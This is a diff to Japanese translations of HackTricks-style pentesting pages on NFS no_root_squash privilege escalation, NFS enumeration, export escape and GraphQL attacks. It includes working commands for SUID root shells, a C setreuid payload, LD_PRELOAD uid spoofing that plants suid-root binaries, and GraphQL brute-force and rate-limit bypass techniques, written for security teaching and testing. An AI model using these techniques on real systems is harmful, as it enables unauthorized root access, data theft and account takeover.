diff --git a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md index b9525f5d0..8aa20273c 100644 --- a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +++ b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md @@ -1,18 +1,29 @@ {{#include ../../banners/hacktricks-training.md}} -_ **/etc/exports** _ ファイルを読み、**no_root_squash**として設定されているディレクトリを見つけた場合、クライアントとしてそのディレクトリに**アクセス**し、ローカルの**root**のようにそのディレクトリの中に**書き込む**ことができます。 +# 基本情報の圧縮 -**no_root_squash**: このオプションは基本的に、クライアントのrootユーザーにNFSサーバー上のファイルにrootとしてアクセスする権限を与えます。これにより、深刻なセキュリティ上の問題が生じる可能性があります。 +NFSは通常（特にLinuxでは）、ファイルにアクセスするために接続しているクライアントによって示された`uid`と`gid`を信頼します（Kerberosが使用されていない場合）。しかし、サーバーで**この動作を変更する**ために設定できるいくつかの構成があります： -**no_all_squash:** これは**no_root_squash**オプションに似ていますが、**非rootユーザー**に適用されます。例えば、nobodyユーザーとしてシェルを持ち、/etc/exportsファイルを確認し、no_all_squashオプションが存在し、/etc/passwdファイルを確認し、非rootユーザーをエミュレートし、そのユーザーとしてsuidファイルを作成（nfsを使用してマウント）します。nobodyユーザーとしてそのsuidを実行し、異なるユーザーになります。 +- **`all_squash`**: すべてのアクセスを圧縮し、すべてのユーザーとグループを**`nobody`**（65534 unsigned / -2 signed）にマッピングします。したがって、誰もが`nobody`となり、ユーザーは使用されません。 +- **`root_squash`/`no_all_squash`**: これはLinuxのデフォルトであり、**uid 0（root）のアクセスのみを圧縮**します。したがって、任意の`UID`と`GID`は信頼されますが、`0`は`nobody`に圧縮されるため、rootの偽装は不可能です。 +- **`no_root_squash`**: この構成が有効になっている場合、rootユーザーさえも圧縮されません。これは、この構成でディレクトリをマウントすると、rootとしてアクセスできることを意味します。 -# Privilege Escalation +**/etc/exports**ファイルで、**no_root_squash**として構成されているディレクトリを見つけた場合、**クライアントとして**それに**アクセス**し、そのディレクトリの中に**ローカルの**マシンの**root**のように**書き込む**ことができます。 -## Remote Exploit +**NFS**に関する詳細情報は、以下を確認してください： -この脆弱性を見つけた場合、次のように悪用できます： +{{#ref}} +/network-services-pentesting/nfs-service-pentesting.md +{{#endref}} -- クライアントマシンでそのディレクトリを**マウント**し、**rootとして**マウントされたフォルダ内に**/bin/bash**バイナリをコピーし、**SUID**権限を与え、被害者マシンからそのbashバイナリを**実行**します。 +# 権限昇格 + +## リモートエクスプロイト + +オプション1：bashを使用して： +- **クライアントマシンでそのディレクトリをマウントし、**rootとしてマウントされたフォルダ内に**/bin/bash**バイナリをコピーし、**SUID**権限を与え、**被害者**マシンからそのbashバイナリを実行します。 +- NFS共有内でrootになるためには、**`no_root_squash`**がサーバーで構成されている必要があります。 +- ただし、有効になっていない場合は、バイナリをNFS共有にコピーし、昇格したいユーザーとしてSUID権限を与えることで、他のユーザーに昇格することができます。 ```bash #Attacker, as root user mkdir /tmp/pe @@ -25,7 +36,9 @@ chmod +s bash cd ./bash -p #ROOT shell ``` -- **クライアントマシンでそのディレクトリをマウントし、** マウントされたフォルダ内に **rootとして** SUID権限を悪用するコンパイル済みペイロードをコピーし、それに **SUID** 権限を与え、**被害者** マシンからそのバイナリを **実行** します（ここにいくつかの[C SUIDペイロード](payloads-to-execute.md#c)があります）。 +Option 2 using c compiled code: +- **クライアントマシンでそのディレクトリをマウント**し、**ルートとして**マウントされたフォルダ内にSUID権限を悪用するコンパイル済みペイロードをコピーし、**SUID**権限を与え、**被害者**マシンからそのバイナリを**実行**します（ここにいくつかの[C SUIDペイロード](payloads-to-execute.md#c)があります）。 +- 前と同じ制限が適用されます。 ```bash #Attacker, as root user gcc payload.c -o payload @@ -42,14 +55,14 @@ cd ## ローカルエクスプロイト > [!NOTE] -> あなたのマシンから被害者のマシンへの**トンネルを作成できる場合、必要なポートをトンネリングしてこの特権昇格を悪用するためにリモートバージョンを使用することができます**。\ +> あなたのマシンから被害者のマシンへの**トンネルを作成できる場合、リモートバージョンを使用してこの特権昇格を悪用することができます**。\ > 次のトリックは、ファイル`/etc/exports`が**IPを示している場合**です。この場合、**リモートエクスプロイトを使用することはできず**、**このトリックを悪用する必要があります**。\ -> エクスプロイトが機能するためのもう一つの必要条件は、**`/etc/export`内のエクスポートが`insecure`フラグを使用していること**です。\ +> エクスプロイトが機能するためのもう一つの要件は、**`/etc/export`内のエクスポートが`insecure`フラグを使用している必要があることです**。\ > --_`/etc/export`がIPアドレスを示している場合、このトリックが機能するかどうかはわかりません_-- ## 基本情報 -このシナリオは、ローカルマシン上のマウントされたNFS共有を悪用し、クライアントが自分のuid/gidを指定できるNFSv3仕様の欠陥を利用して、無許可のアクセスを可能にします。悪用には、NFS RPCコールの偽造を可能にするライブラリ[libnfs](https://github.com/sahlberg/libnfs)を使用します。 +このシナリオは、ローカルマシン上のマウントされたNFS共有を悪用し、クライアントがuid/gidを指定できるNFSv3仕様の欠陥を利用して、無許可のアクセスを可能にします。悪用には、NFS RPCコールの偽造を可能にするライブラリ[libnfs](https://github.com/sahlberg/libnfs)を使用します。 ### ライブラリのコンパイル @@ -65,31 +78,26 @@ gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib 攻撃は、特権をルートに昇格させ、その後シェルを実行するシンプルなCプログラム（`pwn.c`）を作成することを含みます。プログラムはコンパイルされ、結果として得られたバイナリ（`a.out`）は、RPC呼び出しでuidを偽装するために`ld_nfs.so`を使用して、suid rootで共有に配置されます。 1. **攻撃コードをコンパイルする:** - ```bash cat pwn.c int main(void){setreuid(0,0); system("/bin/bash"); return 0;} gcc pwn.c -o a.out ``` - -2. **攻撃を共有に配置し、uidを偽装してその権限を変更する:** - +2. **共有にエクスプロイトを配置し、uidを偽装してその権限を変更する:** ```bash LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out ``` - -3. **攻撃を実行してルート権限を取得する:** +3. **エクスプロイトを実行してルート権限を取得する:** ```bash /mnt/share/a.out #root ``` - ## ボーナス: NFShellによるステルスファイルアクセス -ルートアクセスが取得されたら、所有権を変更せずにNFS共有と対話するために（痕跡を残さないために）、Pythonスクリプト（nfsh.py）が使用されます。このスクリプトは、アクセスされるファイルのuidに一致するようにuidを調整し、権限の問題なしに共有上のファイルと対話できるようにします: +rootアクセスが取得されると、所有権を変更せずにNFS共有と対話するために、Pythonスクリプト(nfsh.py)が使用されます。このスクリプトは、アクセスされるファイルのuidを一致させることで、権限の問題なしに共有上のファイルと対話できるようにします: ```python #!/usr/bin/env python # script from https://www.errno.fr/nfs_privesc.html @@ -108,7 +116,7 @@ uid = get_file_uid(filepath) os.setreuid(uid, uid) os.system(' '.join(sys.argv[1:])) ``` -実行するには： +実行するには: ```bash # ll ./mount/ drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old diff --git a/src/network-services-pentesting/nfs-service-pentesting.md b/src/network-services-pentesting/nfs-service-pentesting.md index 91e17c744..2193d3bb9 100644 --- a/src/network-services-pentesting/nfs-service-pentesting.md +++ b/src/network-services-pentesting/nfs-service-pentesting.md @@ -1,31 +1,68 @@ -# 2049 - Pentesting NFS Service +# 2049 - NFSサービスのペンテスト {{#include ../banners/hacktricks-training.md}} ## **基本情報** -**NFS**は、ユーザーがネットワーク上でファイルにシームレスにアクセスできるように設計された**クライアント/サーバ**システムであり、これらのファイルがローカルディレクトリ内にあるかのように扱います。 +**NFS**は、ユーザーがネットワーク上のファイルにローカルディレクトリ内にあるかのようにシームレスにアクセスできるように設計された**クライアント/サーバ**システムです。 -このプロトコルの注目すべき点は、組み込みの**認証**や**認可メカニズム**がないことです。代わりに、認可は**ファイルシステム情報**に依存しており、サーバは**クライアント提供のユーザー情報**をファイルシステムの必要な**認可形式**に正確に変換する役割を担っています。主に**UNIX構文**に従います。 - -認証は一般的に**UNIX `UID`/`GID`識別子とグループメンバーシップ**に依存しています。しかし、クライアントとサーバ間の**`UID`/`GID`マッピング**の不一致の可能性があるため、サーバによる追加の検証の余地がありません。その結果、このプロトコルは**信頼されたネットワーク**内での使用に最も適しています。この認証方法に依存しているためです。 - -**デフォルトポート**: 2049/TCP/UDP（バージョン4を除き、TCPまたはUDPのみが必要です）。 +**デフォルトポート**: 2049/TCP/UDP（バージョン4を除く、TCPまたはUDPのみが必要です）。 ``` 2049/tcp open nfs 2-3 (RPC #100003 ``` -### バージョン +### 認証 -- **NFSv2**: このバージョンは、さまざまなシステムとの広範な互換性で認識されており、主にUDPを介した初期操作でその重要性を示しています。シリーズの中で**最も古い**ものであり、将来の開発の基礎を築きました。 +このプロトコルの注目すべき点は、通常、組み込みの**認証**や**認可メカニズム**が欠如していることです。代わりに、認可は**ファイルシステム情報**に依存し、サーバーは**クライアント提供のユーザー情報**をファイルシステムが要求する**認可フォーマット**に正確に変換する役割を担っています。主に**UNIX構文**に従います。 + +認証は一般的に**UNIX `UID`/`GID`識別子とグループメンバーシップ**に依存しています。しかし、クライアントとサーバー間の**`UID`/`GID`マッピング**の不一致が生じるため、サーバーによる追加の検証の余地がありません。さらに、これらの詳細はクライアントによって送信され、サーバーによって信頼されるため、悪意のあるクライアントがより特権のある`uid`や`gid`を送信して他のユーザーを**なりすます**可能性があります。 + +**ただし、デフォルトではNFSを使用して`UID` 0（root）をなりすますことはできません。この詳細はスカッシングセクションで説明します。** + +#### ホスト + +より良い（または一部の）認可のために、NFS共有にアクセスできる**ホスト**を指定できます。これはLinuxの`/etc/exports`ファイルで行うことができます。例えば: +``` +/PATH/TO/EXPORT      CLIENT1(OPTIONS1) CLIENT2(OPTIONS2) ... +/media/disk/share   192.168.2.123(rw,sec=krb5p:krb5i) +``` +As you can see, it allows to configure a specific **IP** or **hostname** to access the share. Only that address will be able to access the share. + +### Versions + +- **NFSv2**: このバージョンは、さまざまなシステムとの広範な互換性で認識されており、主にUDP上での初期操作によってその重要性を示しています。シリーズの中で**最も古い**ものであり、将来の開発の基礎を築きました。 - **NFSv3**: 一連の改善と共に導入されたNFSv3は、前のバージョンを拡張し、可変ファイルサイズをサポートし、改善されたエラーレポート機能を提供しました。進歩にもかかわらず、NFSv2クライアントとの完全な後方互換性には制限がありました。 -- **NFSv4**: NFSシリーズの画期的なバージョンであるNFSv4は、ネットワークを通じたファイル共有を現代化するために設計された一連の機能をもたらしました。注目すべき改善点には、**高セキュリティ**のためのKerberosの統合、ファイアウォールを越えて動作し、ポートマッパーなしでインターネット上で動作する能力、アクセス制御リスト（ACL）のサポート、状態ベースの操作の導入が含まれます。そのパフォーマンスの向上とステートフルプロトコルの採用により、NFSv4はネットワークファイル共有技術における重要な進展として際立っています。 +- **NFSv4**: NFSシリーズの画期的なバージョンであるNFSv4は、ネットワーク全体でのファイル共有を現代化するために設計された一連の機能をもたらしました。注目すべき改善点には、**高セキュリティ**のためのKerberosの統合、ファイアウォールを越えて動作し、ポートマッパーなしでインターネット上で動作する能力、アクセス制御リスト（ACL）のサポート、状態ベースの操作の導入が含まれます。そのパフォーマンスの向上と状態を持つプロトコルの採用により、NFSv4はネットワークファイル共有技術における重要な進展として際立っています。 +- Linuxホストがkerberos認証をサポートするNFSを見つけるのは非常に奇妙です。 -各NFSバージョンは、ネットワーク環境の進化するニーズに対応することを目的として開発されており、セキュリティ、互換性、パフォーマンスを徐々に向上させています。 +各NFSバージョンは、ネットワーク環境の進化するニーズに対応する意図で開発されており、セキュリティ、互換性、パフォーマンスを徐々に向上させています。 -## 列挙 +### Squashing +前述のように、NFSは通常、クライアントの`uid`と`gid`を信頼してファイルにアクセスします（kerberosが使用されていない場合）。ただし、サーバーで**この動作を変更する**ために設定できるいくつかの構成があります： + +- **all_squash**: すべてのアクセスを圧縮し、すべてのユーザーとグループを**`nobody`**（65534 unsigned / -2 signed）にマッピングします。したがって、誰もが`nobody`となり、ユーザーは使用されません。 +- **root_squash/no_all_squash**: これはLinuxのデフォルトであり、**uid 0（root）のアクセスのみを圧縮します**。したがって、任意の`UID`と`GID`は信頼されますが、`0`は`nobody`に圧縮されるため、rootの偽装は不可能です。 +- **no_root_squash**: この構成が有効になっている場合、rootユーザーさえも圧縮されません。これは、この構成でディレクトリをマウントすると、rootとしてアクセスできることを意味します。 + +### Subtree check + +Linuxでのみ利用可能です。man(5) exportsには次のように記載されています：「ファイルシステムのサブディレクトリがエクスポートされているが、全体のファイルシステムがエクスポートされていない場合、NFSリクエストが到着するたびに、サーバーはアクセスされたファイルが適切なファイルシステムにあること（これは簡単です）だけでなく、エクスポートされたツリーにあることも確認しなければなりません（これは難しいです）。このチェックはサブツリーのチェックと呼ばれます。」 + +Linuxでは、**`subtree_check`機能はデフォルトで無効**になっています。 + +## Enumeration + +### Showmount + +これは、**NFSv3サーバーから情報を取得する**ために使用できます。たとえば、**エクスポートのリスト**、これらのエクスポートに**アクセスを許可されている**ユーザー、接続されているクライアント（クライアントがサーバーに通知せずに切断した場合、正確でない可能性があります）などです。 +**NFSv4クライアントは直接/ exportにアクセスし、そこからエクスポートにアクセスしようとします。無効または認可されていない理由で失敗します。** + +`showmount`やMetasploitモジュールのようなツールがNFSポートから情報を表示しない場合、それはバージョン3をサポートしていないNFSv4サーバーの可能性があります。 +```bash +showmount -e +``` ### 有用なnmapスクリプト ```bash nfs-ls #List NFS exports and check permissions @@ -36,45 +73,74 @@ nfs-statfs #Disk statistics and info from NFS share ```bash scanner/nfs/nfsmount #Scan NFS mounts and list permissions ``` -### マウント +### nfs_analyze -どの**フォルダー**がサーバーに**利用可能**であるかを知るには、次のように尋ねることができます: +このツールは [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) から取得でき、NFSサーバーから**マウント**、サポートされているNFSバージョン、接続されたIP、さらには**エクスポートから他のフォルダーにエスケープできるか**や**`no_root_squash`が有効か**どうかなど、多くのデータを取得するために使用できます。 + +## Mounting + +サーバーが**マウント可能なフォルダー**を知るには、次のように尋ねることができます: ```bash showmount -e ``` -次に、次のコマンドを使用してマウントします： +次に、次のようにマウントします： ```bash mount -t nfs [-o vers=2] : -o nolock ``` -**バージョン2を使用する**ことを指定する必要があります。なぜなら、**認証**や**承認**が**ない**からです。 +**バージョン2を使用する**ことを指定する必要があります。なぜなら、それには**認証**や**承認**が**ない**からです。 **例:** ```bash mkdir /mnt/new_back mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock ``` -## パーミッション +## 攻撃 -特定のユーザー（**UID**）のみがアクセスできる**ファイルやフォルダー**を含むフォルダーをマウントすると、**UID**を持つユーザーを**ローカル**に作成し、その**ユーザー**を使用してファイル/フォルダーに**アクセス**できるようになります。 +### UIDとGIDの信頼 -## NSFShell +もちろん、ここでの唯一の問題は、デフォルトではroot（`UID` 0）を偽装することができないことです。しかし、他のユーザーを偽装することは可能であり、`no_root_squash`が有効になっている場合はrootを偽装することもできます。 -ファイルにアクセスするために、UIDとGIDを簡単にリスト、マウント、変更するには、[nfsshell](https://github.com/NetDirect/nfsshell)を使用できます。 +- **特定のユーザー**（**UID**によって）にのみアクセス可能な**ファイルやフォルダ**を含むフォルダをマウントした場合、その**UID**を持つユーザーを**ローカルに作成**し、その**ユーザー**を使用することでファイル/フォルダに**アクセス**できるようになります。 +- [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling)のツール**`fuse_nfs`**は、ファイルにアクセスするために必要なUIDとGIDを常に送信します。 -[素晴らしいNFSShellチュートリアル。](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/) +### SUID特権昇格 + +ページを確認してください： + +{{#ref}} +/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +{{#endref}} + +### エクスポートからの脱出 + +この[素晴らしい記事](https://www.hvs-consulting.de/en/nfs-security-identifying-and-exploiting-misconfigurations/)では、**エクスポートから脱出してファイルシステム内の他のフォルダにアクセスする**ことが可能であることが示されています。 + +したがって、エクスポートが**ファイルシステム全体**の**サブフォルダ**をエクスポートしている場合、**`subtree_check`**が無効になっていると、エクスポートの外にあるファイルにアクセスすることが可能です。そして、これは**Linuxではデフォルトで無効**になっています。 + +例えば、NFSサーバーが`/srv/`をエクスポートしていて、`/var/`が同じファイルシステムにある場合、`/var/log/`からログを読み取ったり、`/var/www/`にウェブシェルを保存したりすることが可能です。 + +さらに、デフォルトではroot（0）ユーザーのみが偽装から保護されていることに注意してください（スカッシュセクションを確認）。ただし、ファイルが**rootによって所有されているがグループが0でない場合、アクセスすることが可能です**。例えば、ファイル`/etc/shadow`はrootによって所有されていますが、グループは`shadow`（Debianではgid 42）です。したがって、デフォルトで読み取ることが可能です！ + +[https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling)のツール**`nfs_analyze`**は、ファイルシステムext4、xfs、btrfsに対するこの攻撃をサポートするために構築されています（v4でも可能であるべきです）。 + +### NSFShell + +ファイルにアクセスするためにUIDとGIDを簡単にリスト、マウント、変更するには、[nfsshell](https://github.com/NetDirect/nfsshell)を使用できます。 + +[Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/) ## 設定ファイル ``` /etc/exports /etc/lib/nfs/etab ``` -### 危険な設定 +## 危険な設定 - **読み書き権限 (`rw`):** この設定は、ファイルシステムからの読み取りと書き込みの両方を許可します。このような広範なアクセスを付与することの影響を考慮することが重要です。 - **安全でないポートの使用 (`insecure`):** 有効にすると、システムは1024以上のポートを利用できるようになります。この範囲のポートのセキュリティは厳格でない場合があり、リスクが増加します。 -- **ネストされたファイルシステムの可視性 (`nohide`):** この設定により、別のファイルシステムがエクスポートされたディレクトリの下にマウントされていても、ディレクトリが可視化されます。各ディレクトリは適切な管理のために独自のエクスポートエントリを必要とします。 +- **ネストされたファイルシステムの可視性 (`nohide`):** この設定により、別のファイルシステムがエクスポートされたディレクトリの下にマウントされていても、ディレクトリが可視化されます。各ディレクトリには適切な管理のために独自のエクスポートエントリが必要です。 - **ルートファイルの所有権 (`no_root_squash`):** この設定では、ルートユーザーによって作成されたファイルは元のUID/GID 0を維持し、最小権限の原則を無視し、過剰な権限を付与する可能性があります。 diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index 74e829d14..2445e641e 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -57,7 +57,7 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy **エラー** -**エラー**が**表示**されるかどうかを知ることは興味深いです。これは有用な**情報**に貢献します。 +**エラー**が**表示**されるかどうかを知ることは興味深いことであり、それは有用な**情報**に貢献します。 ``` ?query={__schema} ?query={} @@ -170,13 +170,13 @@ name ### クエリ -データベースにどのような情報が保存されているかがわかったので、**いくつかの値を抽出してみましょう**。 +データベース内にどのような情報が保存されているかがわかったので、**いくつかの値を抽出してみましょう**。 イントロスペクションでは、**どのオブジェクトを直接クエリできるか**を見つけることができます（オブジェクトが存在するからといってクエリできるわけではありません）。次の画像では、"_queryType_"が"_Query_"と呼ばれ、"_Query_"オブジェクトのフィールドの1つが"_flags_"であり、これもオブジェクトのタイプであることがわかります。したがって、フラグオブジェクトをクエリできます。 ![](<../../images/Screenshot from 2021-03-13 18-17-48.png>) -クエリ"_flags_"のタイプは"_Flags_"であり、このオブジェクトは以下のように定義されています： +"_flags_"のクエリのタイプは"_Flags_"であり、このオブジェクトは以下のように定義されています： ![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>) @@ -184,11 +184,7 @@ name ```javascript query={flags{name, value}} ``` -次の例のように、**クエリするオブジェクト**が**プリミティブ****タイプ**（例えば**文字列**）の場合は、次のようにクエリできます。 - -![](<../../images/image (958).png>) - -次のようにクエリできます: +次の例のように、**クエリするオブジェクト**が**文字列**のような**プリミティブ****タイプ**である場合は、次のようにクエリできます: ```javascript query = { hiddenFlags } ``` @@ -289,7 +285,7 @@ name ![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>) -このセットアップでは、**データベース**には**人物**と**映画**が含まれています。**人物**はその**メール**と**名前**で識別され、**映画**はその**名前**と**評価**で識別されます。**人物**は互いに友達になったり、映画を持ったりすることができ、データベース内の関係を示します。 +このセットアップでは、**データベース**には**人物**と**映画**が含まれています。**人物**はその**メール**と**名前**で識別され、**映画**はその**名前**と**評価**で識別されます。**人物**は互いに友達になり、映画を持つこともでき、データベース内の関係を示します。 データベース内に**新しい**映画を**作成する**ためのミューテーションは、次のようになります（この例ではミューテーションは`addMovie`と呼ばれます）： ```javascript @@ -334,12 +330,12 @@ releaseYear ``` ### ディレクティブのオーバーロード -このレポートで説明されている[**脆弱性の1つ**](https://www.landh.tech/blog/20240304-google-hack-50000/)によれば、ディレクティブのオーバーロードは、サーバーが操作を無駄にするまで、ディレクティブを何百万回も呼び出すことを意味します。最終的にはDoS攻撃が可能になります。 +このレポートで説明されている[**脆弱性の一つ**](https://www.landh.tech/blog/20240304-google-hack-50000/)によれば、ディレクティブのオーバーロードは、サーバーが操作を無駄にするまで、ディレクティブを何百万回も呼び出すことを意味します。最終的にはDoS攻撃が可能になります。 ### 1つのAPIリクエストでのバッチブルートフォース この情報は[https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)から取得されました。\ -**異なる認証情報で多くのクエリを同時に送信する**ことでGraphQL APIを通じて認証を行います。これは古典的なブルートフォース攻撃ですが、GraphQLのバッチ機能により、1つのHTTPリクエストで複数のログイン/パスワードペアを送信することが可能になりました。このアプローチは、外部のレート監視アプリケーションを欺き、すべてが正常であり、パスワードを推測しようとするブルートフォースボットがいないと考えさせることができます。 +**異なる認証情報で多くのクエリを同時に送信する**ことでGraphQL APIを通じて認証を行います。これは古典的なブルートフォース攻撃ですが、GraphQLのバッチ機能により、1つのHTTPリクエストで複数のログイン/パスワードペアを送信することが可能になりました。このアプローチは、外部のレート監視アプリケーションを欺いて、すべてが正常であり、パスワードを推測しようとするブルートフォースボットがいないと考えさせることができます。 以下は、**同時に3つの異なるメール/パスワードペア**を使用したアプリケーション認証リクエストの最も簡単なデモです。明らかに、同じ方法で1回のリクエストで数千を送信することが可能です： @@ -353,7 +349,7 @@ releaseYear ますます多くの**graphqlエンドポイントがインストロスペクションを無効にしています**。しかし、予期しないリクエストが受信されたときにgraphqlが投げるエラーは、[**clairvoyance**](https://github.com/nikitastupin/clairvoyance)のようなツールがスキーマの大部分を再構築するのに十分です。 -さらに、Burp Suite拡張機能[**GraphQuail**](https://github.com/forcesunseen/graphquail)は、**Burpを通過するGraphQL APIリクエストを観察し**、**新しいクエリを見るたびに**内部GraphQL **スキーマ**を構築します。また、GraphiQLやVoyager用にスキーマを公開することもできます。この拡張機能は、インストロスペクションクエリを受信すると偽のレスポンスを返します。その結果、GraphQuailはAPI内で使用可能なすべてのクエリ、引数、およびフィールドを表示します。詳細については[**こちらを確認してください**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。 +さらに、Burp Suite拡張機能[**GraphQuail**](https://github.com/forcesunseen/graphquail)は、**Burpを通過するGraphQL APIリクエストを観察し**、新しいクエリを見るたびに内部GraphQL**スキーマ**を**構築**します。また、GraphiQLやVoyager用にスキーマを公開することもできます。この拡張機能は、インストロスペクションクエリを受信すると偽のレスポンスを返します。その結果、GraphQuailはAPI内で使用可能なすべてのクエリ、引数、およびフィールドを表示します。詳細については[**こちらを確認してください**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。 素晴らしい**ワードリスト**は、[**GraphQLエンティティを発見するためにここにあります**](https://github.com/Escape-Technologies/graphql-wordlist?)。 @@ -397,7 +393,7 @@ ws.send(JSON.stringify(graphqlMsg)) ``` ### **露出したGraphQL構造の発見** -イントロスペクションが無効になっている場合、JavaScriptライブラリにプリロードされたクエリをウェブサイトのソースコードで調べることは有用な戦略です。これらのクエリは、開発者ツールの`Sources`タブを使用して見つけることができ、APIのスキーマに関する洞察を提供し、潜在的に**露出した機密クエリ**を明らかにします。開発者ツール内で検索するためのコマンドは次のとおりです: +イントロスペクションが無効になっている場合、JavaScriptライブラリにプリロードされたクエリをウェブサイトのソースコードで調べることは有効な戦略です。これらのクエリは、開発者ツールの`Sources`タブを使用して見つけることができ、APIのスキーマに関する洞察を提供し、潜在的に**露出した機密クエリ**を明らかにします。開発者ツール内で検索するためのコマンドは次のとおりです: ```javascript Inspect/Sources/"Search all files" file:* mutation @@ -425,7 +421,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ただし、Chromeの`samesite`フラグの新しいデフォルトクッキー値は`Lax`であることに注意してください。これは、クッキーがGETリクエストでのみサードパーティのウェブから送信されることを意味します。 -**クエリ** **リクエスト**を**GET** **リクエスト**として送信することも通常可能であり、GETリクエストではCSRFトークンが検証されない可能性があります。 +通常、**クエリ** **リクエスト**を**GET** **リクエスト**として送信することも可能であり、GETリクエストではCSRFトークンが検証されない可能性があることに注意してください。 また、[**XS-Search**](../../pentesting-web/xs-search/index.html) **攻撃**を悪用することで、ユーザーの資格情報を利用してGraphQLエンドポイントからコンテンツを抽出することが可能かもしれません。 @@ -433,7 +429,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ## GraphQLにおけるクロスサイトWebSocketハイジャック -GraphQLのCRSF脆弱性を悪用するのと同様に、**保護されていないクッキーを使用してGraphQLでの認証を悪用するためのクロスサイトWebSocketハイジャックを実行することも可能です**。これにより、ユーザーがGraphQLで予期しないアクションを実行することになります。 +GraphQLのCRSF脆弱性を悪用するのと同様に、**保護されていないクッキーを使用してGraphQLでの認証を悪用するためにクロスサイトWebSocketハイジャックを実行することも可能であり、ユーザーがGraphQLで予期しないアクションを実行することを強制できます。** 詳細については、以下を確認してください： @@ -459,17 +455,17 @@ GraphQLのCRSF脆弱性を悪用するのと同様に、**保護されていな [クエリのチェイニング](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)を行うことで、弱い認証システムをバイパスすることができます。 -以下の例では、操作が「forgotPassword」であり、それに関連付けられたforgotPasswordクエリのみを実行する必要があることがわかります。これをバイパスするには、最後にクエリを追加します。この場合、「register」と新しいユーザーとしてシステムに登録するためのユーザー変数を追加します。 +以下の例では、操作が「forgotPassword」であり、それに関連するforgotPasswordクエリのみを実行する必要があることがわかります。これをバイパスするために、最後にクエリを追加します。この場合、「register」と新しいユーザーとしてシステムに登録するためのユーザー変数を追加します。
## GraphQLにおけるエイリアスを使用したレート制限のバイパス -GraphQLでは、エイリアスはAPIリクエストを行う際に**プロパティの名前を明示的に指定する**ことを可能にする強力な機能です。この機能は、**同じタイプ**のオブジェクトの**複数のインスタンスを単一のリクエスト内で取得する**のに特に便利です。エイリアスを使用することで、GraphQLオブジェクトが同じ名前の複数のプロパティを持つことを妨げる制限を克服できます。 +GraphQLでは、エイリアスはAPIリクエストを行う際に**プロパティを明示的に命名する**ことを可能にする強力な機能です。この機能は、**同じタイプ**のオブジェクトの**複数のインスタンス**を単一のリクエスト内で取得するのに特に便利です。エイリアスを使用することで、GraphQLオブジェクトが同じ名前の複数のプロパティを持つことを妨げる制限を克服できます。 GraphQLエイリアスの詳細な理解のために、以下のリソースを推奨します: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)。 -エイリアスの主な目的は、数多くのAPI呼び出しの必要性を減らすことですが、エイリアスを利用してGraphQLエンドポイントに対してブルートフォース攻撃を実行するという意図しない使用例が特定されています。これは、一部のエンドポイントがブルートフォース攻撃を防ぐために**HTTPリクエストの数**を制限するレートリミッターによって保護されているため可能です。しかし、これらのレートリミッターは、各リクエスト内の操作の数を考慮しない場合があります。エイリアスを使用すると、単一のHTTPリクエスト内に複数のクエリを含めることができるため、そのようなレート制限を回避できます。 +エイリアスの主な目的は多数のAPI呼び出しの必要性を減らすことですが、エイリアスを利用してGraphQLエンドポイントに対してブルートフォース攻撃を実行するという意図しない使用例が特定されています。これは、一部のエンドポイントがブルートフォース攻撃を阻止するために**HTTPリクエストの数**を制限するレートリミッターによって保護されているため可能です。しかし、これらのレートリミッターは、各リクエスト内の操作の数を考慮しない場合があります。エイリアスを使用することで、単一のHTTPリクエスト内に複数のクエリを含めることができるため、そのようなレート制限を回避することができます。 以下の例を考えてみてください。これは、エイリアス付きのクエリを使用してストアの割引コードの有効性を確認する方法を示しています。この方法は、複数のクエリを1つのHTTPリクエストにまとめるため、レート制限を回避できる可能性があり、同時に多数の割引コードの確認を可能にします。 ```bash @@ -501,7 +497,7 @@ curl -X POST -H "Content-Type: application/json" \ ### **配列ベースのクエリバッチ処理** -**配列ベースのクエリバッチ処理**は、GraphQL 